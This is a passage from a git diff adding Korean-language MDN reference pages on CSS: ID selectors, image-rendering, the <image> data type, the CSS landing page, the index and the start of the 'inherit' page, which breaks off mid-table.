+title: ID 선택자
+slug: Web/CSS/ID_selectors
+tags:
+  - CSS
+  - Reference
+  - Selectors
+  - 선택자
+translation_of: Web/CSS/ID_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>ID 선택자</strong>는 요소의 {{htmlattrxref("id")}} 특성 값을 비교하여, 완전히 동일한 <code>id</code>를 가진 요소를 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* id="demo" 요소 선택 */
+#demo {
+  border: red 2px solid;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">#id_value { <em>style properties</em> }</pre>
+
+<p>위의 구문은 <a href="/ko/docs/Web/CSS/Attribute_selectors">특성 선택자</a>를 사용한 다음 구문과 동일합니다.</p>
+
+<pre class="syntaxbox notranslate">[id=id_value] { <em>style properties</em> }</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#identified {
+  background-color: skyblue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="identified"&gt;특별한 ID를 가진 요소에요!&lt;/div&gt;
+&lt;div&gt;이건 그냥 div에요.&lt;/div&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("Example", '100%', 50)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#id-selectors", "ID selectors")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#id-selectors", "ID selectors")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "selector.html#id-selectors", "ID selectors")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1", "#id-as-selector", "ID selectors")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.id")}}</p>
diff --git a/files/ko/web/css/image-rendering/index.html b/files/ko/web/css/image-rendering/index.html
new file mode 100644
index 0000000000..85522966f0
--- /dev/null
+++ b/files/ko/web/css/image-rendering/index.html
@@ -0,0 +1,120 @@
+---
+title: image-rendering
+slug: Web/CSS/image-rendering
+tags:
+  - CSS
+  - CSS Images
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/image-rendering
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>image-rendering</code></strong> <a href="/ko/docs/Web/CSS" title="CSS">CSS</a> 프로퍼티는 브라우저의 이미지 스케일링 방식에 대한 힌트를 제공합니다. 이 프로퍼티는 엘리먼트 자신에게 적용시킵니다. 스케일링(크기변경)이 안 된 이미지에게는 적용되지 않습니다.</p>
+
+<p>예를들어, 100x100 픽셀의 이미지가 있는데 페이지에서 요구하는 이미지는 200x200픽셀 (혹은 50x50px)이라면, 이미지는 새로운 면적만큼의 특정 알고리즘으로 인해 확대(혹은 축소)됩니다. 스케일링은 사용자의 상호작용(줌기능) 으로 인해 일어날겁니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* 키워드 값 */
+image-rendering: auto;
+image-rendering: crisp-edges;
+image-rendering: pixelated;
+
+/* 전역 값 */
+image-rendering: inherit;
+image-rendering: initial;
+image-rendering: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code><strong>auto</strong></code></dt>
+ <dd>기본값입니다.<br>
+ 이미지의 스케일링 알고리즘은 이미지를 최대치로 활용해서 나타냅니다. 특히, 스케일링 알고리즘은 이중선형보간법같은 알고리즘이 보기에 괜찮은 "부드러운"색상을 나타냅니다. 사진같은 종류의 것들을 위해 GEcko엔진 1.9버전(파이어폭스 3.0) 에서는 이중선형 리샘플링(고품질) 을 사용해왔습니다.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<dl>
+ <dt><code><strong>crisp-edges</strong></code></dt>
+ <dd>이미지 스케일링 알고리즘은 반드시 색상대조와 이미지의 표준을 맞게 보존해야 합니다. 그리고 smooth 하지 못한 색상 혹은 이미지의 흐림효과 또한 알고리즘 공정에 있어야합니다. 이 속성은 픽셀아트같은 의도되어 만들어진 이미지들에게 필요합니다.</dd>
+ <dt><code><strong>pixelated</strong></code></dt>
+ <dd>이미지 스케일링을 크게 확대할 때는 "nearest neighbor" 혹은 비슷한 알고리즘을 반드시 사용해야 합니다. 그래서 이미지의 큰 픽셀로 구성해서 나타낼 수 있습니다. 이미지를 작게 축소할 때는 "auto" 속성과 같습니다.</dd>
+</dl>
+
+<div class="note">The values <span id="cke_bm_145S" style="display: none;"> </span><code>optimizeQuality</code> and <code>optimizeSpeed</code> present in early draft (and coming from its SVG counterpart) are defined as synonyms for the <code>auto</code> value.</div>
+
+<h3 id="공식_문법">공식 문법</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:css;">/* applies to GIF and PNG images; avoids blurry edges */
+
+img[src$=".gif"], img[src$=".png"] {
+                   image-rendering: -moz-crisp-edges;         /* Firefox */
+                   image-rendering:   -o-crisp-edges;         /* Opera */
+                   image-rendering: -webkit-optimize-contrast;/* Webkit (non-standard naming) */
+                   image-rendering: crisp-edges;
+                   -ms-interpolation-mode: nearest-neighbor;  /* IE (non-standard property) */
+                 }
+
+</pre>
+
+<pre class="brush:css;">div {
+        background: url(chessboard.gif) no-repeat 50% 50%;
+        image-rendering: -moz-crisp-edges;         /* Firefox */
+        image-rendering:   -o-crisp-edges;         /* Opera */
+        image-rendering: -webkit-optimize-contrast;/* Webkit (non-standard naming) */
+        image-rendering: crisp-edges;
+        -ms-interpolation-mode: nearest-neighbor;  /* IE (non-standard property) */
+}</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h3 id="Live_Examples">Live Examples</h3>
+
+<h4 id="image-rendering_auto">image-rendering: auto;</h4>
+
+<p style="image-rendering: auto;">78% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 39px; width: 39px;"> 100% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 50px; width: 50px;"> 138% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 69px; width: 69px;"> downsized <img alt="hut.jpg" src="/@api/deki/files/3613/=hut.jpg" style="height: 89px; width: 89px;"> upsized <img alt="blumen.jpg" src="/@api/deki/files/3611/=blumen.jpg" style="height: 89px; width: 77px;"></p>
+
+<h4 id="image-rendering_pixelated_(-ms-interpolation-mode_nearest-neighbor)">image-rendering: pixelated; (-ms-interpolation-mode: nearest-neighbor)</h4>
+
+<p style="-ms-interpolation-mode: nearest-neighbor; image-rendering: pixelated;">78% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 39px; width: 39px;"> 100% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 50px; width: 50px;"> 138% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 69px; width: 69px;"> downsized <img alt="hut.jpg" src="/@api/deki/files/3613/=hut.jpg" style="height: 89px; width: 89px;"> upsized <img alt="blumen.jpg" src="/@api/deki/files/3611/=blumen.jpg" style="height: 89px; width: 77px;"></p>
+
+<h4 id="image-rendering_crisp-edges_(-webkit-optimize-contrast)">image-rendering: crisp-edges; (-webkit-optimize-contrast)</h4>
+
+<p style="image-rendering: -webkit-optimize-contrast; image-rendering: -moz-crisp-edges; image-rendering: -o-crisp-edges; image-rendering: crisp-edges;">78% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 39px; width: 39px;"> 100% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 50px; width: 50px;"> 138% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 69px; width: 69px;"> downsized <img alt="hut.jpg" src="/@api/deki/files/3613/=hut.jpg" style="height: 89px; width: 89px;"> upsized <img alt="blumen.jpg" src="/@api/deki/files/3611/=blumen.jpg" style="height: 89px; width: 77px;"></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-image-rendering', 'image-rendering')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Though initially close from the SVG <code>image-rendering</code> property, the values are quite different now.</p>
+</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 지원</h2>
+
+<p>{{Compat("css.properties.image-rendering")}}</p>
diff --git a/files/ko/web/css/image/index.html b/files/ko/web/css/image/index.html
new file mode 100644
index 0000000000..7d68b3fadc
--- /dev/null
+++ b/files/ko/web/css/image/index.html
@@ -0,0 +1,175 @@
+---
+title: <image>
+slug: Web/CSS/image
+tags:
+  - CSS
+  - CSS Data Type
+  - CSS Images
+  - Graphics
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/CSS/image
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>&lt;image&gt;</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 2차원 이미지를 나타냅니다.</span> 이미지는 {{cssxref("&lt;url&gt;")}}로 참조하는 일반 이미지, {{cssxref("&lt;gradient&gt;")}} 또는 {{cssxref("element")}}를 사용해 동적으로 생성하는 이미지 두 종류가 있습니다. 다른 이미지 함수로는 {{cssxref("imagefunction", "image()")}}, {{cssxref("image-set")}}, {{cssxref("cross-fade")}} 등이 있습니다. 이미지는 {{CSSxRef("background-image")}}, {{CSSxRef("border-image")}}, {{CSSxRef("content")}}, {{CSSxRef("cursor")}}, {{CSSxRef("list-style-image")}} 등 많은 속성에 사용할 수 있습니다.</p>
+
+<h2 id="이미지_유형">이미지 유형</h2>
+
+<p>CSS는 다음 이미지 종류를 처리할 수 있습니다.</p>
+
+<ul>
+ <li><strong>본질적인 크기</strong>(원래 크기)를 가진 이미지. JPEG, PNG 등 <a href="https://ko.wikipedia.org/wiki/%EB%9E%98%EC%8A%A4%ED%84%B0_%EA%B7%B8%EB%9E%98%ED%94%BD%EC%8A%A4">래스터 포맷</a>.</li>
+ <li><strong>여러 개의 본질적인 크기</strong>를 가진 이미지. 하나의 파일이 이미지의 여러 버전을 가지고 있는 경우. 일부 .ico 파일 등. 이 때, 본질적인 크기는 제일 크고 컨테이닝 박스와 가로세로 비율이 제일 비슷한 이미지를 따라갑니다.</li>
+ <li>본질적인 크기는 없지만 <strong>본질적인 종횡비</strong>를 가진 이미지. SVG 등 <a href="https://ko.wikipedia.org/wiki/%EB%B2%A1%ED%84%B0_%EA%B7%B8%EB%9E%98%ED%94%BD%EC%8A%A4">벡터 포맷</a>.</li>
+ <li id="no_intrinsic"><strong>본질적인 크기도, 종횡비도 없는</strong> 이미지. CSS 그레이디언트 등.</li>
+</ul>
+
+<p>CSS는 객체의 구체적인 크기를 (1) 그 본질적인 크기, (2) {{CSSxRef("width")}}, {{CSSxRef("height")}}, {{CSSxRef("background-size")}} 등 CSS 속성으로 설정한 크기, (3) 아래 표에 나열한, 이미지를 설정한 속성에 따른 기본값을 통해 결정합니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">객체 유형 (CSS 속성)</th>
+   <th scope="col">객체 크기의 기본값</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{CSSxRef("background-image")}}</td>
+   <td>요소의 배경 위치 영역 크기</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("list-style-image")}}</td>
+   <td><code>1em</code> 문자의 크기</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("border-image-source")}}</td>
+   <td>요소의 테두리 이미지 영역 크기</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("cursor")}}</td>
+   <td>브라우저가 정의한, 클라이언트 시스템의 일반적인 커서 사이즈</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("mask-image")}}</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("shape-outside")}}</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>{{CSSxRef("mask-border-source")}}</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@counter-style")}}의 {{CSSxRef("symbols")}}</td>
+   <td>실험적 기능. 지원 시엔 브라우저가 정의한, 클라이언트 시스템의 일반적인 커서 사이즈</td>
+  </tr>
+  <tr>
+   <td>의사 요소의 {{CSSxRef("content")}} ({{CSSxRef("::after")}}/{{CSSxRef("::before")}})</td>
+   <td>300px × 150px 사각형</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>구체적인 크기는 다음 알고리즘을 사용해 계산합니다.</p>
+
+<ul>
+ <li>너비와 높이 모두 지정한 크기가 있다면 그 값을 구체적인 크기로 사용합니다.</li>
+ <li>너비 또는 높이만 지정한 크기가 있고, 본질적인 종횡비가 있다면 그 값으로 다른 크기를 계산해 사용하고, 지정한 크기가 본질적인 크기와 일치하면 다른 크기도 본질적인 크기를 사용하고, 모두 아니면 객체 크기의 기본값을 사용합니다.</li>
+ <li>너비도 높이도 지정한 크기가 없다면, 객체 크기의 기본값을 넘지 않는 한도에서 이미지의 본질적인 종횡비를 사용해 구체적인 크기를 결정합니다. 본질적인 종횡비가 없으면 요소의 종횡비를 사용하며, 요소도 가지고 있지 않으면 객체 크기의 기본값에서 가져옵니다.</li>
+</ul>
+
+<div class="note"><strong>참고:</strong> 모든 브라우저가 모든 속성에 모든 유형의 이미지를 지원하는건 아닙니다. {{anch("브라우저 호환성")}} 항목을 참고하세요.</div>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;image&gt;</code> 자료형은 다음 중 하나로 나타낼 수 있습니다.</p>
+
+<ul>
+ <li>{{CSSxRef("&lt;url&gt;")}} 자료형</li>
+ <li>{{CSSxRef("&lt;gradient&gt;")}} 자료형</li>
+ <li>{{CSSxRef("element")}} 함수로 정의한 웹페이지의 일부</li>
+ <li>{{CSSxRef("image()")}} 함수로 정의한 이미지, 이미지 조각, 단일 색</li>
+ <li>{{CSSxRef("cross-fade")}} 함수로 정의한 두 개 이상 이미지의 혼합</li>
+ <li>{{CSSxRef("image-set")}} 함수로 정의한 이미지 중 적절한 해상도</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유효한_이미지">유효한 이미지</h3>
+
+<pre class="brush: css example-good">url(test.jpg)               /* "test.jpg"가 실제로 이미지일 때 &lt;url&gt; */
+linear-gradient(blue, red)  /* &lt;gradient&gt; */
+element(#realid)            /* "realid"가 페이지에 존재하는 ID일 때
+                               element() 함수로 참조한 웹페이지의 일부 */
+image(ltr 'arrow.png#xywh=0,0,16,16', red)
+                            /* "arrow.png"가 지원되는 이미지일 때 &lt;url&gt;의 일부, 원본의 좌상단부터 16x16
+                               지원하지 않는 이미지일 때 빨강 단색
+                               RTL 언어에서는 이미지아 가로방향 반전됨 */
+cross-fade(20% url(twenty.png), url(eighty.png))
+                            /* 혼합 이미지, "twenty.png" 불투명도 20%
+                                         "eighty.png" 불투명도 80% */
+image-set('test.jpg' 1x, 'test-2x.jpg' 2x)
+                            /* 여러 해상도의 이미지 묶음 */</pre>
+
+<h3 id="유효하지_않은_이미지">유효하지 않은 이미지</h3>
+
+<pre class="brush: css example-bad">nourl.jpg            /* 이미지 파일은 url() 함수로 정의해야 함 */
+url(report.pdf)      /* url() 함수가 가리키는 파일은 이미지여야 함 */
+element(#fakeid)     /* 요소 ID가 페이지에 존재해야 함 */
+image(z.jpg#xy=0,0)  /* 이미지 조각은 xywh=#,#,#,# 형식으로 작성해야 함 */
+image-set('cat.jpg' 1x, 'dog.jpg' 1x) /* 각각의 이미지가 다른 해상도를 가져야 함 */
+</pre>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>브라우저는 배경 이미지에 대한 어떠한 정보도 보조 기술에 제공하지 않습니다. 스크린 리더 사용자에게 특히 큰 영향을 주는데, 스크린 리더가 배경 이미지의 존재를 표현하지 않으므로 사용자도 이미지에 대해 알 수 없기 때문입니다. 이미지가 문서의 목적을 이해하는 것에 중요한 정보를 포함하는 경우 문서에 구조적으로 포함하는 편이 좋습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html" rel="noopener">Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Images", "#typedef-image", "&lt;image&gt;")}}</td>
+   <td>{{Spec2("CSS4 Images")}}</td>
+   <td>Adds {{CSSxRef("element()")}}, {{CSSxRef("image()")}}, {{CSSxRef("image-set")}}, {{CSSxRef("conic-gradient")}}, {{CSSxRef("repeating-conic-gradient", "repeating-conic-gradient()")}}, and {{CSSxRef("image-resolution")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Images", "#typedef-image", "&lt;image&gt;")}}</td>
+   <td>{{Spec2("CSS3 Images")}}</td>
+   <td>Initial definition. Before this, there was no explicitly defined <code>&lt;image&gt;</code> data type. Images could only be defined using the <code>url()</code> functional notation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.image")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSSxRef("&lt;gradient&gt;")}}</li>
+ <li>{{CSSxRef("element")}}</li>
+ <li>{{CSSxRef("imagefunction", "image()")}}</li>
+ <li>{{CSSxRef("image-set")}}</li>
+ <li>{{CSSxRef("cross-fade")}}</li>
+</ul>
diff --git a/files/ko/web/css/index.html b/files/ko/web/css/index.html
new file mode 100644
index 0000000000..7c5210e812
--- /dev/null
+++ b/files/ko/web/css/index.html
@@ -0,0 +1,96 @@
+---
+title: 'CSS: Cascading Style Sheets'
+slug: Web/CSS
+tags:
+  - CSS
+  - Design
+  - Landing
+  - Layout
+  - Reference
+  - 'l10n:priority'
+  - 스타일시트
+translation_of: Web/CSS
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong>Cascading Style Sheets</strong>(<strong>CSS</strong>)는 <a href="/ko/docs/HTML" title="HyperText Markup Language">HTML</a>이나 <a href="/ko/docs/XML">XML</a>(<a href="/ko/docs/SVG">SVG</a>, <a href="/ko/docs/XHTML">XHTML</a> 같은 XML 방언(dialect) 포함)로 작성된 문서의 표현을 기술하기 위해 쓰이는 <a href="/ko/docs/Web/API/StyleSheet">스타일시트</a> 언어입니다.</span> CSS는 요소가 화면, 종이, 음성이나 다른 매체 상에 어떻게 렌더링되어야 하는지 기술합니다.</p>
+
+<p>CSS는 <strong>오픈 웹</strong>의 핵심 언어 중 하나이며 <a class="external" href="http://w3.org/Style/CSS/#specs">W3C 명세</a>에 따라 브라우저끼리 표준을 맞춥니다. 레벨 단위로 개발한 CSS1은 더 이상 사용하지 않고, 다음 레벨인 CSS2.1은 권고안이며, 레벨보다 작은 단위인 모듈로 나뉜 <a href="/ko/docs/Web/CSS/CSS3" title="CSS3">CSS3</a>은 표준화 과정을 밟고 있습니다.</p>
+
+<section id="sect1">
+<ul class="card-grid">
+ <li><span>CSS 소개</span>
+
+  <p>웹 개발을 처음 하신다면 <a href="/ko/docs/Learn/Getting_started_with_the_web/CSS_기본">CSS 기본</a> 문서를 읽어 CSS가 무엇인지와 사용법을 배워보세요.</p>
+ </li>
+ <li><span>CSS 자습서</span>
+  <p>시작하는 완전한 초보자를 돕는 <a href="/ko/docs/CSS/Getting_Started" title="Getting Started">단계별 입문서</a>. 필요한 기초를 모두 제공합니다.</p>
+ </li>
+ <li><span>CSS 참고서</span>
+  <p>숙련된 개발자를 위한 <a href="/ko/docs/Web/CSS/Reference">전체 CSS 참고서</a>는 CSS의 모든 속성과 개념을 설명합니다.</p>
+ </li>
+</ul>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="자습서">자습서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS 소개</a></dt>
+ <dd>선택자, 속성, 규칙 작성, HTML에 CSS 적용하기, 길이와 색 등 단위 지정하기, 종속과 상속, 박스 모델, 디버깅 등 CSS의 작동 원리와 기본을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/Styling_text">텍스트 꾸미기</a></dt>
+ <dd>글꼴, 굵기, 기울이기, 줄 간격과 글자 간격, 그림자 등 텍스트 스타일의 기초를 논합니다. 사용자 설정 글꼴 적용, 목록과 링크 꾸미기로 마무리합니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/Styling_boxes">박스 꾸미기</a></dt>
+ <dd>웹 페이지 레이아웃의 기초 중 하나인 박스 스타일을 살펴봅니다. 박스 모델에 대해 복습하고, 마진, 테두리, 패딩, 배경색, 이미지, 그림자, 필터 등 박스 레이아웃을 조절하는 법을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout">CSS 레이아웃</a></dt>
+ <dd>텍스트를 꾸미고 박스를 변형하는 등 CSS 기초를 살펴보았으니, 이제 화면이나 서로에게 상대적인 위치에 올바르게 배치하는 법을 배웁니다. 필요한 전제조건은 다루었으니 각기 다른 디스플레이 설정, 플로팅과 포지션을 사용하는 전통적인 레이아웃법 및 플렉스박스 등 새로운 방법 등 더 깊은 영역을 배웁니다.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 id="참고서">참고서</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Reference">CSS 참고서</a>: 숙련된 웹 개발자를 위해 CSS의 모든 속성과 개념을 설명합니다.</li>
+ <li>CSS 핵심 개념
+  <ul>
+   <li><a href="/ko/docs/Web/CSS/Syntax">언어 구문과 형태</a></li>
+   <li><a href="/ko/docs/Web/CSS/Specificity">명시도</a>, <a href="/ko/docs/Web/CSS/inheritance">상속</a>, <a href="/ko/docs/Web/CSS/Cascade">종속</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Values_and_Units">CSS 단위와 값</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델</a>과 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 상쇄</a></li>
+   <li><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a></li>
+   <li><a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>과 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 맥락</a></li>
+   <li><a href="/ko/docs/Web/CSS/initial_value">초기값</a>, <a href="/ko/docs/Web/CSS/computed_value">계산값</a>, <a href="/ko/docs/Web/CSS/used_value">사용값</a>, <a href="/ko/docs/Web/CSS/actual_value">실제값</a></li>
+   <li><a href="/ko/docs/Web/CSS/Shorthand_properties">CSS 단축 속성</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS 플렉스 박스 레이아웃</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+   <li><a href="/ko/docs/Web/CSS/Media_Queries">미디어 쿼리</a></li>
+   <li><a href="/ko/docs/Web/CSS/animation">애니메이션</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="쿡북">쿡북</h2>
+
+<p><a href="/ko/docs/Web/CSS/Layout_cookbook">CSS 레이아웃 쿡북</a>은 여러분의 웹 사이트에서도 구현해야 할 수 있는, 흔히 쓰이는 레이아웃 패턴을 모아놓은 문서입니다. 프로젝트의 시작 코드는 물론이고, 레이아웃 명세를 사용하는 각기 다른 방법과 개발자로서 고를 수 있는 선택지를 제공합니다.</p>
+
+<h2 class="Tools" id="CSS_개발_도구">CSS 개발 도구</h2>
+
+<ul>
+ <li>CSS가 유효한지 검사하는 <a class="external" href="http://jigsaw.w3.org/css-validator/">W3C CSS Validation 서비스</a>. 매우 유용한 디버깅 도구입니다.</li>
+ <li><a href="/ko/docs/Tools">Firefox 개발자 도구</a>는 <a href="/ko/docs/Tools/Page_Inspector">검사기</a>와 <a href="/ko/docs/Tools/Style_Editor">스타일 편집기</a> 도구를 통해 페이지의 실시간 CSS 보기와 편집을 허용합니다.</li>
+ <li>Firefox 전용 <a href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/">웹 개발자 확장</a>도 특정 사이트를 주시해 CSS를 추적하고 실시간 편집을 가능케 합니다.</li>
+ <li><a href="/ko/docs/Web/CSS/Tools">기타 CSS 도구.</a></li>
+</ul>
+</div>
+</div>
+</section>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Demos_of_open_web_technologies#CSS">CSS 데모</a>: 최신 CSS 기술을 사용한 데모를 탐색하며 영감을 얻어보세요.</li>
+ <li>흔히 CSS를 적용하는 웹 언어: <a href="/ko/docs/HTML">HTML</a>, <a href="/ko/docs/SVG">SVG</a>, <a href="/ko/docs/Glossary/XHTML">XHTML</a>, <a href="/ko/docs/Web/XML/XML_Introduction">XML</a>.</li>
+ <li>CSS를 광범위하게 사용하는 Mozilla 기술: <a href="/ko/docs/Mozilla/Firefox">Firefox</a>, <a href="/ko/docs/Mozilla/Thunderbird">Thunderbird</a> <a href="/ko/docs/Mozilla/Add-ons">확장기능</a>과 <a href="/ko/docs/Mozilla/Add-ons/Themes">테마</a>.</li>
+ <li><a href="https://stackoverflow.com/questions/tagged/css">Stack Overflow의 CSS 질문</a></li>
+</ul>
diff --git a/files/ko/web/css/index/index.html b/files/ko/web/css/index/index.html
new file mode 100644
index 0000000000..953130cd26
--- /dev/null
+++ b/files/ko/web/css/index/index.html
@@ -0,0 +1,10 @@
+---
+title: CSS documentation index
+slug: Web/CSS/Index
+tags:
+  - CSS
+  - Index
+  - MDN Meta
+translation_of: Web/CSS/Index
+---
+<p>{{Index("/ko/docs/Web/CSS")}}</p>
diff --git a/files/ko/web/css/inherit/index.html b/files/ko/web/css/inherit/index.html
new file mode 100644
index 0000000000..71f7890cc3
--- /dev/null
+++ b/files/ko/web/css/inherit/index.html
@@ -0,0 +1,77 @@
+---
+title: inherit
+slug: Web/CSS/inherit
+tags:
+  - CSS
+  - CSS Cascade
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/CSS/inherit
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS <strong><code>inherit</code></strong> 키워드를 사용한 속성은 부모 요소로부터 해당 속성의 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>을 받아 사용합니다.</span> CSS {{cssxref("all")}} 단축 속성을 포함한 모든 속성에 사용할 수 있습니다.</p>
+
+<p>상속되는 속성(<a href="/en/CSS/inheritance" title="en/CSS/inheritance">inherited properties</a>)의 경우, 이는 기본 동작(behavior)을 강화하고 오직 다른 규칙을 재정의(override)해야 합니다. 상속되지 않는 속성(<a href="/en/CSS/inheritance" title="en/CSS/inheritance">non-inherited properties</a>)은, 이는 보통 비교적 거의 의미가 없는 동작을 지정하고 당신은 대신 {{cssxref("initial")}} 혹은 {{cssxref("all")}} 속성에 {{cssxref("unset")}} 사용을 고려할 지도 모릅니다.</p>
+
+<p>상속(Inheritance)은 심지어 부모 요소가 포함(containing) 블록이 아니더라도, 항상 문서 트리 내 부모 요소로부터입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css"> /* h2를 green으로 만듦 */
+ h2 { color: green; }
+
+ /* 부모 요소의 color를 사용하도록 sidebar 내의 h2를 홀로 남김 */
+ #sidebar h2 { color: inherit; }
+</pre>
+
+<p>이 예제에서 sidebar 내부의 <code>h2</code> 요소는 다른 색일지도 모릅니다. 예를 들어, 그 중 하나는 규칙과 일치하는 div의 자식이라면</p>
+
+<pre class="brush: css"> div#current { color: blue; }
+</pre>
+
+<p>파란색이 됩니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>명세</th>
+   <th>상태</th>
+   <th>설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Cascade', '#inherit', 'inherit') }}</td>
+   <td>{{Spec2('CSS4 Cascade')}}</td>
+   <td>Level 3에 변화 없음.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Values', "#common-keywords", "inherit") }}</td>
+   <td>{{ Spec2('CSS3 Values') }}</td>
